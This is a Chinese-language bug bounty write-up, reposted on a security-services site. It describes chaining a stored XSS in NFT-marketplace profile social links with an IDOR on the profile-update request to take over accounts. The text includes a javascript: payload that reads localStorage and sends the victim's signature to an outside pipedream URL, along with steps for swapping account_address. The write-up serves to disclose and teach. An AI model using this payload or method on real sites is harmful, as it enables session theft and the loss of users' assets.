记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程

这是我在 NFT 市场中发现的一个令人兴奋的安全问题,它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户,以实现完整的帐户接管漏洞。 我们将用实际流程来覆盖每个漏洞,然后将所有这些问题串联起来 XSS →IDOR → 账户接管 我们先从XSS开始 注意:我们将目标应用程序称为vulnerablemarketplace.com 关于此应用程序:在此应用程序中,每个请求都通过签名进行验证,该签名的作用类似于 cookie 或身份验证标头。 漏洞1:存储型XSS 与其他应用程序一样,它有一个个人资料部分,用户可以在其中上传个人资料图片/上传艺术作品/更新个人简介/电子邮件/添加 Instagram 或 Telegram 等社交链接 所以我做的最基本的步骤是将我的 Twitter 和 Instagram 链接保存为 javascript:alert(document.domain) ,当我保存我的信息并单击 Twitter 或 Instagram 图标时,javascript 被执行,这确认我们在nft 市场 复现步骤 1.使用钱包登录我的vulnerablemarketplace.com nft 帐户 2.然后导航到我的个人资料设置并将我的 Instagram 和 Twitter 链接保存为 javascript:alert(document.domain) 这是帖子请求: 3.每当我们点击我们的个人资料 Twitter 或 Instagram 图标时,XSS 就会被执行 漏洞 2:idor 修改任何用户的个人资料详细信息 关于漏洞:攻击者可以修改用户的个人资料信息,包括联系电子邮件、Twitter 或 Instagram 链接,这里唯一的要求是我们需要获取受害者的钱包地址(这已经是区块链上的公开信息,因为每个用户都共享一个钱包地址)某人或其他人)。 要求:受害者钱包地址(我们可以轻松获得,因为用户与其他用户共享此地址,并且地址是公共信息) 复现步骤 设置:我创建了两个帐户 A. 攻击者 B. 受害者(复制受害者钱包地址) 1.攻击者将他的钱包连接到vulnerablemarketplace.com 2.转到他的个人资料设置并在电子邮件、Twitter 链接上输入任何随机信息,并在任何代理工具 (BURP) 中捕获请求 3.从攻击者的角度来看,此帖子请求中的一些参数非常有趣,包括 acccount_address、signer 和签名。 account_address=用户钱包地址 签名者=与账户地址相同 签名 = 充当身份验证令牌或 cookie 来正确验证用户的请求 4.我将攻击者的account_address修改为受害者的账户地址并发送请求 5.是的!!!我们能够用我们自己的价值观修改受害者用户的个人资料。我们能够使用我们自己的控制值修改受害者的电子邮件、Twitter、Instagram 链接 注意:有些人可能会有疑问,如果我们能够修改受害者的电子邮件,那么帐户就已经被接管了🧐?不,因为这是一个 NFT 应用程序,所以没有电子邮件身份验证,我们必须使用钱包扩展进行连接(我们需要窃取受害者签名,以便我们可以使用它来窃取 NFT 或艺术品) 打造漏洞利用链 到目前为止,我们已经有了一个 IDOR 和一个 Stored XSS。我本可以与其他用户共享我的个人资料来窃取数据,但通过链接此 IDOR,我们可以修改信誉良好的用户的个人资料详细信息以增加影响 需要记住的事情:应用程序没有 cookie,但将签名值存储在浏览器 localStorage 中,因此我们将制作有效负载来窃取该签名值 复现步骤 1.在 Burp 等代理工具中捕获更改个人资料信息的 POST 请求 2.修改此负载的 Instagram 和 Twitter 链接。 3.我们对签名值特别感兴趣,因为这是发出每个请求所必需的。签名值存储在 localStorage 中,因此这里是 javascript 有效负载,我们将使用它来窃取该值并将其发送到我们的 pipelinedream urljavascript:token=JSON.stringify(localStorage),url='https://mypipedream.m.pipedream.net/'+token,fetch(url) 4.修改account_address为受害者钱包地址 5.请求并完成:) 一旦受害者点击他的 Instagram 或 Twitter 链接或用户访问受害者用户的个人资料,XSS 将被执行,用户的签名值将被泄露到我的服务器 现在您可以看到我们使用 XSS 窃取了受害者的签名。现在我们可以提出任何其他请求来执行其他经过身份验证的操作,例如出售艺术品或转让或删除用户的艺术品 漏洞披露 非常感谢您花时间阅读这篇文章。 记住:保持安全并保持警惕。 文章来源:HACK学习呀 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程